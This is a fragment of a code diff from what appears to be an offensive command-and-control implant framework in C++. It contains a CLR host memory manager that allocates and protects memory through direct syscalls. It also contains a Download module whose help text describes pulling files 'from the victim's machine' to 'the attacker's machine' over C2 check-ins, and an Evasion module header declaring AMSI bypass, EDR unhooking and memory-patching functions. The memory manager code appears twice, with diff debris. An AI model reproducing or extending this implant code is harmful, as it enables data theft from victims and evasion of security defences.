Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
|
||||
allocAddress = pAddress;
|
||||
|
||||
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
|
||||
|
||||
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
*ppMem = allocAddress;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = dwSize;
|
||||
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
|
||||
|
||||
::VirtualFree(lpAddress, dwSize, dwFreeType);
|
||||
lpAddress = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
|
||||
|
||||
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
|
||||
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
|
||||
|
||||
//Just returning arbitrary values
|
||||
*pMemoryLoad = 30;
|
||||
*pAvailableBytes = 100 * 1024 * 1024;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
|
||||
//
|
||||
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
|
||||
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
|
||||
|
||||
//This is used to track the assemblies that are mapped into the process
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = startAddress;
|
||||
allocEntry->size = size;
|
||||
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
#include "MemoryManager.hpp"
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyMemoryManager::MyMemoryManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_mallocManager = new MyHostMalloc();
|
||||
}
|
||||
|
||||
|
||||
MyMemoryManager::~MyMemoryManager(void)
|
||||
{
|
||||
delete m_mallocManager;
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
|
||||
{
|
||||
return(++((MyMemoryManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
|
||||
{
|
||||
if (--((MyMemoryManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyMemoryManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
|
||||
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
|
||||
|
||||
//C reate a heap and add it to our interface struct
|
||||
HANDLE hHeap = NULL;
|
||||
if (dwMallocType & MALLOC_EXECUTABLE)
|
||||
{
|
||||
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
hHeap = ::HeapCreate(0, 0, 0);
|
||||
}
|
||||
m_mallocManager->hHeap = hHeap;
|
||||
|
||||
*ppMalloc = m_mallocManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
|
||||
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress=NULL;
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
|
||||
allocAddress = pAddress;
|
||||
|
||||
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
|
||||
|
||||
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
*ppMem = allocAddress;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = dwSize;
|
||||
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
|
||||
|
||||
::VirtualFree(lpAddress, dwSize, dwFreeType);
|
||||
lpAddress = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
|
||||
|
||||
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
|
||||
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
|
||||
|
||||
//Just returning arbitrary values
|
||||
*pMemoryLoad = 30;
|
||||
*pAvailableBytes = 100 * 1024 * 1024;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
|
||||
//
|
||||
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
|
||||
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
|
||||
|
||||
//This is used to track the assemblies that are mapped into the process
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = startAddress;
|
||||
allocEntry->size = size;
|
||||
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
@@ -1,49 +1,49 @@
|
||||
#pragma once
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <syscall.hpp>
|
||||
|
||||
|
||||
class MyMemoryManager : public IHostMemoryManager
|
||||
{
|
||||
public:
|
||||
MyMemoryManager(void);
|
||||
~MyMemoryManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
|
||||
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
|
||||
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
|
||||
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
|
||||
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
|
||||
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_mallocManager->getMemAllocList();
|
||||
}
|
||||
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyHostMalloc* m_mallocManager;
|
||||
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
|
||||
#pragma once
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <syscall.hpp>
|
||||
|
||||
|
||||
class MyMemoryManager : public IHostMemoryManager
|
||||
{
|
||||
public:
|
||||
MyMemoryManager(void);
|
||||
~MyMemoryManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
|
||||
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
|
||||
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
|
||||
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
|
||||
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
|
||||
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_mallocManager->getMemAllocList();
|
||||
}
|
||||
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyHostMalloc* m_mallocManager;
|
||||
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
|
||||
};
|
||||
+135
-135
@@ -31,9 +31,9 @@ __attribute__((visibility("default"))) Download* DownloadConstructor()
|
||||
|
||||
Download::Download()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -44,40 +44,40 @@ Download::~Download()
|
||||
|
||||
std::string Download::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Download Module:\n";
|
||||
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
|
||||
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
|
||||
info += "\nUsage example:\n";
|
||||
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
|
||||
info += "\nArguments:\n";
|
||||
info += " <sourcePath> Path to the file on the victim's machine\n";
|
||||
info += " <destPath> Destination path on the attacker's machine\n";
|
||||
info += "Download Module:\n";
|
||||
info += "Retrieve a file from the victim's machine and save it to the attacker's machine.\n";
|
||||
info += "Large files are automatically split into 2MB chunks and transferred over multiple check-ins.\n";
|
||||
info += "\nUsage example:\n";
|
||||
info += " - download C:\\Temp\\toto.exe /tmp/toto.exe\n";
|
||||
info += "\nArguments:\n";
|
||||
info += " <sourcePath> Path to the file on the victim's machine\n";
|
||||
info += " <destPath> Destination path on the attacker's machine\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int Download::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
std::vector<std::string> quoteRegroupedCmd = regroupStrings(splitedCmd);
|
||||
std::vector<std::string> quoteRegroupedCmd = regroupStrings(splitedCmd);
|
||||
|
||||
if (quoteRegroupedCmd.size() == 3)
|
||||
{
|
||||
string inputFile = quoteRegroupedCmd[1];
|
||||
string outputFile = quoteRegroupedCmd[2];
|
||||
if (quoteRegroupedCmd.size() == 3)
|
||||
{
|
||||
string inputFile = quoteRegroupedCmd[1];
|
||||
string outputFile = quoteRegroupedCmd[2];
|
||||
|
||||
c2Message.set_instruction(quoteRegroupedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_outputfile(outputFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(quoteRegroupedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_outputfile(outputFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -91,151 +91,151 @@ const size_t CHUNK_SIZE = 1 * 1024 * 1024; // 2MB
|
||||
|
||||
int Download::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
std::vector<char> buffer;
|
||||
if( m_input.is_open() )
|
||||
{
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_outputfile(m_outputfile);
|
||||
std::vector<char> buffer;
|
||||
if( m_input.is_open() )
|
||||
{
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_outputfile(m_outputfile);
|
||||
|
||||
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
|
||||
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
|
||||
buffer.resize(chunkSize);
|
||||
|
||||
if (m_input.read(buffer.data(), chunkSize))
|
||||
{
|
||||
if (m_input.read(buffer.data(), chunkSize))
|
||||
{
|
||||
c2RetMessage.set_data(buffer.data(), chunkSize);
|
||||
|
||||
m_bytesRead += chunkSize;
|
||||
if(m_bytesRead==m_fileSize)
|
||||
{
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_fileSize=0;
|
||||
m_bytesRead=0;
|
||||
m_input.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
|
||||
c2RetMessage.set_returnvalue(output);
|
||||
}
|
||||
|
||||
m_bytesRead += chunkSize;
|
||||
if(m_bytesRead==m_fileSize)
|
||||
{
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_fileSize=0;
|
||||
m_bytesRead=0;
|
||||
m_input.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
|
||||
c2RetMessage.set_returnvalue(output);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
if(m_input.is_open())
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN);
|
||||
return 0;
|
||||
}
|
||||
if(m_input.is_open())
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_FILE_ALREADY_OPEN);
|
||||
return 0;
|
||||
}
|
||||
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_inputfile(c2Message.inputfile());
|
||||
c2RetMessage.set_outputfile(c2Message.outputfile());
|
||||
m_outputfile = c2Message.outputfile();
|
||||
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_inputfile(c2Message.inputfile());
|
||||
c2RetMessage.set_outputfile(c2Message.outputfile());
|
||||
m_outputfile = c2Message.outputfile();
|
||||
|
||||
std::string inputFile = c2Message.inputfile();
|
||||
std::string inputFile = c2Message.inputfile();
|
||||
|
||||
m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate);
|
||||
m_bytesRead = 0;
|
||||
std::vector<char> buffer;
|
||||
if( m_input.is_open() )
|
||||
{
|
||||
m_fileSize = m_input.tellg();
|
||||
m_input = std::ifstream(inputFile, std::ios::binary | std::ios::ate);
|
||||
m_bytesRead = 0;
|
||||
std::vector<char> buffer;
|
||||
if( m_input.is_open() )
|
||||
{
|
||||
m_fileSize = m_input.tellg();
|
||||
m_input.seekg(0, std::ios::beg);
|
||||
|
||||
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
|
||||
std::streamsize chunkSize = std::min(CHUNK_SIZE, (size_t)(m_fileSize - m_bytesRead));
|
||||
buffer.resize(chunkSize);
|
||||
|
||||
if (m_input.read(buffer.data(), chunkSize))
|
||||
{
|
||||
if (m_input.read(buffer.data(), chunkSize))
|
||||
{
|
||||
c2RetMessage.set_data(buffer.data(), chunkSize);
|
||||
|
||||
m_bytesRead += chunkSize;
|
||||
|
||||
m_bytesRead += chunkSize;
|
||||
|
||||
if(m_bytesRead==m_fileSize)
|
||||
{
|
||||
c2RetMessage.set_args("0");
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_fileSize=0;
|
||||
m_bytesRead=0;
|
||||
m_input.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
|
||||
c2RetMessage.set_args("0");
|
||||
c2RetMessage.set_returnvalue(output);
|
||||
}
|
||||
if(m_bytesRead==m_fileSize)
|
||||
{
|
||||
c2RetMessage.set_args("0");
|
||||
c2RetMessage.set_returnvalue("Success");
|
||||
m_fileSize=0;
|
||||
m_bytesRead=0;
|
||||
m_input.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string output = std::to_string(m_bytesRead) + "/" + std::to_string(m_fileSize);
|
||||
c2RetMessage.set_args("0");
|
||||
c2RetMessage.set_returnvalue(output);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_READ_FILE);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_errorCode(ERROR_OPEN_FILE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int Download::followUp(const C2Message &c2RetMessage)
|
||||
{
|
||||
// check if there is an error
|
||||
if(c2RetMessage.errorCode()==-1)
|
||||
{
|
||||
std::string args = c2RetMessage.args();
|
||||
std::string outputFile = c2RetMessage.outputfile();
|
||||
// check if there is an error
|
||||
if(c2RetMessage.errorCode()==-1)
|
||||
{
|
||||
std::string args = c2RetMessage.args();
|
||||
std::string outputFile = c2RetMessage.outputfile();
|
||||
|
||||
if(args=="0")
|
||||
{
|
||||
std::ofstream output(outputFile, std::ios::binary | std::ios::trunc);
|
||||
const std::string buffer = c2RetMessage.data();
|
||||
output << buffer;
|
||||
output.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ofstream output(outputFile, std::ios::binary | std::ios::app);
|
||||
const std::string buffer = c2RetMessage.data();
|
||||
output << buffer;
|
||||
output.close();
|
||||
}
|
||||
|
||||
}
|
||||
if(args=="0")
|
||||
{
|
||||
std::ofstream output(outputFile, std::ios::binary | std::ios::trunc);
|
||||
const std::string buffer = c2RetMessage.data();
|
||||
output << buffer;
|
||||
output.close();
|
||||
}
|
||||
else
|
||||
{
|
||||
std::ofstream output(outputFile, std::ios::binary | std::ios::app);
|
||||
const std::string buffer = c2RetMessage.data();
|
||||
output << buffer;
|
||||
output.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int Download::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_OPEN_FILE)
|
||||
errorMsg = "Failed: Couldn't open file";
|
||||
else if(errorCode==ERROR_READ_FILE)
|
||||
errorMsg = "Failed: Read file chunk.";
|
||||
else if(errorCode==ERROR_FILE_ALREADY_OPEN)
|
||||
errorMsg = "Failed: File already open.";
|
||||
}
|
||||
int errorCode = c2RetMessage.errorCode();
|
||||
if(errorCode>0)
|
||||
{
|
||||
if(errorCode==ERROR_OPEN_FILE)
|
||||
errorMsg = "Failed: Couldn't open file";
|
||||
else if(errorCode==ERROR_READ_FILE)
|
||||
errorMsg = "Failed: Read file chunk.";
|
||||
else if(errorCode==ERROR_FILE_ALREADY_OPEN)
|
||||
errorMsg = "Failed: File already open.";
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -7,24 +7,24 @@ class Download : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
Download();
|
||||
~Download();
|
||||
Download();
|
||||
~Download();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int recurringExec(C2Message& c2RetMessage);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int recurringExec(C2Message& c2RetMessage);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int followUp(const C2Message &c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string m_outputfile;
|
||||
std::ofstream m_output;
|
||||
std::string m_outputfile;
|
||||
std::ofstream m_output;
|
||||
std::ifstream m_input;
|
||||
std::streamsize m_fileSize;
|
||||
std::streamsize m_bytesRead;
|
||||
|
||||
+861
-861
File diff suppressed because it is too large
Load Diff
+15
-15
@@ -7,29 +7,29 @@ class Evasion : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
Evasion();
|
||||
~Evasion();
|
||||
Evasion();
|
||||
~Evasion();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
#ifdef _WIN32
|
||||
int checkHooks(std::string& result);
|
||||
int unhookFreshCopy(std::string& result);
|
||||
int unhookPerunsFart(std::string& result);
|
||||
int amsiBypass(std::string& result);
|
||||
int introspection(std::string& result, std::string& moduleName);
|
||||
int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch);
|
||||
int readMemory(std::string& result, const std::string& hexAddress, const int size);
|
||||
int remotePatch(std::string& result);
|
||||
int checkHooks(std::string& result);
|
||||
int unhookFreshCopy(std::string& result);
|
||||
int unhookPerunsFart(std::string& result);
|
||||
int amsiBypass(std::string& result);
|
||||
int introspection(std::string& result, std::string& moduleName);
|
||||
int patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch);
|
||||
int readMemory(std::string& result, const std::string& hexAddress, const int size);
|
||||
int remotePatch(std::string& result);
|
||||
#endif
|
||||
|
||||
};
|
||||
|
||||
+260
-260
@@ -5,333 +5,333 @@
|
||||
STRUCTURES
|
||||
--------------------------------------------------------------------*/
|
||||
typedef struct _LSA_UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
|
||||
|
||||
